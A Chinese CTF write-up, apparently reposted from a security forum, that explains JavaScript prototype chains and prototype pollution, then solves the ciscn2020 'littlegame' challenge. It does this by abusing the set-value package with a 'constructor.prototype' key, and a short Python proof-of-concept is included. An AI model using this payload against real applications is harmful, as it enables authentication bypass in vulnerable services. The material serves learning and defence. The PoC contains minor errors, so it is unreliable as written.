从题目中学习JS原型污染攻击
2021-02-03 21:15:00 Author: xz.aliyun.com(查看原文) 阅读量:196 收藏

前言:

做题时遇到一个JS原型链污染的题目,由于之前没有学过,就详细的学习和了解一下。

基础知识

0x00:JS创建对象的方法

在了解原型链之前,先了解一下JS创建对象的几种方式

// 第一种方式:字面量
var shy1 = {name: 'shy1'}
var shy2 = new Object({name: 'shy2'})
// 第二种方式:构造函数
var M = function (name) { this.name = name; }
var shy3 = new M('shy3')
// 第三种方式:Object.create
var lemon = {name: 'lemon'}
var shy4 = Object.create(lemon)
console.log(shy1)    
console.log(shy2)
console.log(shy3)
console.log(shy4)

0X01:原型及原型链

原型对象、构造函数、实例

一开始直接看概念,有点看不懂的,结合图和代码来看

var M = function (name) { this.name = name; }
var shy = new M('lemon')

  • 实例就是对象,比如在该例中shy就是实例,M就是构造函数。
  • 实例通过new一个构造函数生成的。
  • 实例的__protpo__指向的是原型对象。
  • 实例的构造函数的prototype也是指向原型对象。
  • 原型对象的construor指向的是构造函数。

这些结论中有的会在下面进行验证

什么是原型链?

当谈到继承时,JavaScript 只有一种结构:对象。每个实例对象( object )都有一个私有属性(称之为 __proto__ )指向它的构造函数的原型对象(prototype )。该原型对象也有一个自己的原型对象( __proto__ ) ,层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

简单理解起来就是:

原型组成的链,对象的__proto__是原型,而原型也是一个对象,也有__proto__属性,原型的__proto__又是原型的原型,就这样可以一直通过__proto__向上找,这便是原型链,当向上找找到Object的原型的时候,这条原型链便算结束了。

为什么需要使用原型

在JavaScript中,如果要定义一个类,需要以定义“构造函数”的方式来定义:

function lemon() {
    this.bar = 1
}

new lemon()

lemon函数的内容,就是lemon类的构造函数,而this.bar就是lemon类的一个属性。

一个类必然有一些方法,类似属性this.bar,可以将方法定义在构造函数内部:

function lemon() {
    this.bar = "hello world"
    this.show = function() {
        console.log(this.bar)
    }
}

(new lemon()).show()

这样写的话有一个问题,就是每当新建一个lemon对象时,this.show = function...就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

如果在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了。

function lemon() {
    this.bar = "hello world"
}

lemon.prototype.show = function show() {
    console.log(this.bar)
}

let shy= new lemon()
shy.show()

原型prototype是类lemon的一个属性,而所有用lemon类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。

需要注意的是可以通过lemon.prototype来访问lemon类的原型,但lemon实例化出来的对象,是不能通过prototype访问原型的,如上图而是需要通过shy.__proto__属性来访问lemon类的原型,也就验证了上面的

shy.__proto__ == M.prototype
#true
总结一下:
  • prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  • 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

0x03:JavaScript原型链继承

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制.

function Father() {
    this.first_name = 'letme'
    this.last_name = 'shy'
}

function Son() {
    this.first_name = 'the'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类继承了Father类的last_name属性,最后输出的是Name: the shy

对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype的__proto__就是null

其他的知识不必再过于深究,记住下面的知识即可

  1. 每个构造函数(constructor)都有一个原型对象(prototype)
  2. 对象的__proto__属性,指向类的原型对象prototype
  3. JavaScript使用prototype链实现继承机制

原型链污染

0x00:什么是原型链污染?

上面所说的

shy.__proto__ == M.prototype

那如果修改了shy.__proto__中的值,是不是就可以修改M类,下面通过一个例子来看下:

// shy是一个简单的JavaScript对象
let shy= {bar: 1}

// shy.bar 此时为1
console.log(shy.bar)

// 修改shy的原型(即Object)
shy.__proto__.bar = 2

// 由于查找顺序的原因,shy.bar仍然是1
console.log(shy.bar)

// 此时再用Object创建一个空的lemon对象
let lemon= {}

// 查看lemon.bar
console.log(lemon.bar)
最后,虽然lemon是一个空对象{},但lemon.bar的结果是2

因为修改了shy的原型shy.__proto__.bar = 2,而shy是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

然后又用Object类创建了一个lemon对象let lemon = {},lemon对象自然也有一个bar属性了。

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

既然知道了什么是原型链污染了,接下来就通过题目进行训练一下:

0x01:littlegame

ciscn2020初赛的一道题目,源码如下:

var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const COMMODITY = {
    "sword": {"Gold": "20", "Firepower": "50"},
    // Times have changed
    "gun": {"Gold": "100", "Firepower": "200"}
}
const MOBS = {
    "Lv1": {"Firepower": "1", "Bounty": "1"},
    "Lv2": {"Firepower": "5", "Bounty": "10"},
    "Lv3": {"Firepower": "10", "Bounty": "15"},
    "Lv4": {"Firepower": "20", "Bounty": "30"},
    "Lv5": {"Firepower": "50", "Bounty": "65"},
    "Lv6": {"Firepower": "80", "Bounty": "100"}
}
const BOSS = {
    // Times have not changed
    "Firepower": "201"
}
const Admin = {
    "password1":process.env.p1,
    "password2":process.env.p2,
    "password3":process.env.p3
}
router.post('/BuyWeapon', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post('/EarnBounty', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post('/ChallengeBOSS', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }

});
router.get('/SpawnPoint', function (req, res, next) {
    req.session.knight = {
        "HP": 1000,
        "Gold": 10,
        "Firepower": 10
    }
    res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});

module.exports = router;

观察代码,在路由DeveloperControlPanel中发现了只要Admin[key] === password便可以获取到flag,继续向下观察发现在路由Privilege下,如果req.session.knight没有被定义,就重定向到/SpawnPoint,否则查看req.body.NewAttributeKeyreq.body.NewAttributeValue是否被定义,未定义就直接"What's your problem?"了,如果都有定义就调用setFn(),将转为字符串后的req.body.NewAttributeKeyreq.body.NewAttributeValue传入

代码最上面便定义了setFn

const setFn = require('set-value');

引入了set-value,但这个是有什么作用那

set-value is a package that creates nested values and any intermediaries using dot notation ('a.b.c') paths.
set-value是一个使用点表示法('abc')路径创建嵌套值和任何中介的程序包。

看了大师傅的博客,知道了原来是set-value存在原型链污染,可以跟着源码分析一下

#setFn(req.session.knight, key, value);
#这里重点看一下set-value的set函数和result函数
function set(target, path, value, options) {
  if (!isObject(target)) {
    return target;
  }

  let opts = options || {};
  const isArray = Array.isArray(path);
  if (!isArray && typeof path !== 'string') {
    return target;
  }

  let merge = opts.merge;
  if (merge && typeof merge !== 'function') {
    merge = Object.assign;
  }

  const keys = isArray ? path : split(path, opts);
  const len = keys.length;
  const orig = target;

  // 注意这个条件语句  
  if (!options && keys.length === 1) {
    //出现了一个result函数,跟进一下
    result(target, keys[0], value, merge);
    return target;
  }

  for (let i = 0; i < len; i++) {
    let prop = keys[i];

    if (!isObject(target[prop])) {
      target[prop] = {};
    }

    if (i === len - 1) {
      result(target, prop, value, merge);
      break;
    }

    target = target[prop];
  }

  return orig;
}
再跟进一下result函数
function result(target, path, value, merge) {
  if (merge && isPlain(target[path]) && isPlain(value)) {
    target[path] = merge({}, target[path], value);
    //使用了merge(),实现了两个对象合并,存在赋值操作,便出现了原型链污染  
  } else {
    target[path] = value;
  }
}

最后来梳理一下整个的流程,以免混乱

  • let key = req.body.NewAttributeKey.toString();
  • let value = req.body.NewAttributeValue.toString();
  • setFn(req.session.knight, key, value);
  • set(target, path, value, options);
  • result(target, prop, value, merge);
  • merge({}, target[path], value);

传入的NewAttributeKey和NewAttributeValue最终会进行merge()合并操作,req的原型是Object,Admin的原型也是Object,所以修改req的原型便可以实现原型链污染
POC:
https://snyk.io/vuln/SNYK-JS-SETVALUE-450213
照着提供的POC改一下就行了

import requests

session = request.session()
url = 'xxxx'

json1 = {
    "NewAttributeKey" : "constructor.prototype.Sn0w",
    "NewAttributeValue" : "Sn0w"
}

json2 = {
    "Key" : "Sn0w",
    "password" : "Sn0w"
}

session.get(url+'SpawnPoint')
session.post(url+'Privilege', json=json1).text
print(session.post(url+'DeveloperControlPanel', json=json2).text)

参考博客

https://www.cnblogs.com/chengzp/p/prototype.html
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype**proto**
https://www.cnblogs.com/Lziyang/p/13559860.html


文章来源: http://xz.aliyun.com/t/9150
如有侵权请联系:admin#unsafe.sh